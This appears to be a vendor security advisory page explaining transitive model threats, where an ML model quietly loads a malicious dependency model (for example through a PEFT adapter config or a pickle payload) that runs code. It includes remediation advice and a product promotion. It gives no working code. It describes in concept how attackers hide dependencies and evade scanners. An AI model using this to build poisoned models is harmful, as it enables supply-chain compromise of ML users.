Understanding Model Threats

This resource is designed to provide detailed information on various threat categories, helping you understand and mitigate potential risks in AI and machine learning systems.

Deserialization Threats

Backdoor Threats

Runtime Threats

PAIT-LITERT-300: LiteRT Model Contains Unknown Operators PAIT-LITERT-301: LiteRT Model Contains Unsafe Operator Execution at Model Run Time PAIT-LMAFL-300: Llamafile Can Execute Malicious Code During Inference PAIT-KERAS-301: Keras Model Custom Layer Detected at Model Run Time PAIT-TF-300: TensorFlow SavedModel Contains Unknown Operators PAIT-TF-301: TensorFlow SavedModel Contains Unsafe Operator Execution at Model Run Time PAIT-TMT-300: Transitive Model Threat Detected with A Suspicious Model Dependency PAIT-TMT-301: Transitive Model Threat Detected with Unsafe Model Dependency

Runtime Threats

Like a deserialization threat, runtime threats occur when untrusted data or code is used to reconstruct objects, leading to potential exploitation. The specific difference occurs in how the malicious code is triggered to execute. With a basic deserialization threat, this happens at model load time. A runtime threat is triggered when the model is used for inference or any form of execution. In AI and machine learning systems, this can result in malicious actors injecting harmful code during the deserialization process, exploiting vulnerabilities to gain unauthorized access or manipulate your systems behavior. Understanding deserialization threats is crucial for securing data integrity and preventing unauthorized code execution in your AI models.

Overview

Some ML libraries allow users to use a base model (model dependency) in the process of building or using a custom model. These model dependencies are stored in unique configuration files determined by the library. It is important to note that model dependencies can load in the background when the main model is being loaded. Attackers can also exploit files by declaring or loading malicious models as dependencies. For this particular issue, the model needs to have dependencies that have a unsafe security threat.

Key Points:

ML libraries allow referencing additional models as dependencies
It is important to scan any dependent models for security issues even if the main model is considered safe.
Attackers can exploit models (configuration files, pickle files) by editing them to load malicious model dependencies.

Background Information

Loading Dependencies

Models built with ML libraries like Transformers, PEFT, PyTorch, etc. contain ways to define model dependencies to load and their execution parameters. For example, the adapter_config.json file in PEFT models can specify separate Hugging Face models to load and what function to load them with. The libraries automatically load dependencies when the parent model is loaded, requiring no extra involvement from the user. Attackers can abuse this to hide references to malicious models knowing that users will likely be unaware that dependency models are being used.

Dependencies can be even further hidden through other vulnerabilities like pickle deserialization. Attackers can use functions that load other malicious models inside of pickle payloads, which will avoid scanners that simply look for dangerous python calls like eval.

Malicious Dependencies

The types of vulnerabilities found in model dependencies can heavily vary depending on the library being used. A common scenario is a model dependency has a malicious pickle file with a deserialization vulnerability in it that executes arbitrary code. The transitive threat occurs when loading another model that depends on the malicious model, causing the underlying code to call pickle.load() on the compromised file and triggering the vulnerability.

Since the payload exists in the dependency, the attacker can initialize the malicious model to be safe but then later update it to contain a payload. This removes the requirement for the attacker to directly update the model that is being distributed to victims and adds the need for users to continuously monitor model dependencies.

Impact

An attacker can create a seemingly safe model that loads a malicious model as a dependency. The user of the model has no idea that the model dependencies have security issues and unknowingly loads the main model resulting in malicious code being executed.

How The Attack Works

Remediation

To mitigate risks introduced by model dependencies, understand how an ML library uses and stores any model dependencies. Additionally, use tools like Guardian to detect and scan any dependent models before loading a model to ensure that all models are free of security threats. Finally, if it is not necessary, refrain from using libraries as mentioned above that allow the use of model dependencies.

Protect AI's security scanner detects threats in model files

With Protect AI's Guardian you can scan models for threats before ML developers download them for use, and apply policies based on your risk tolerance.

Learn more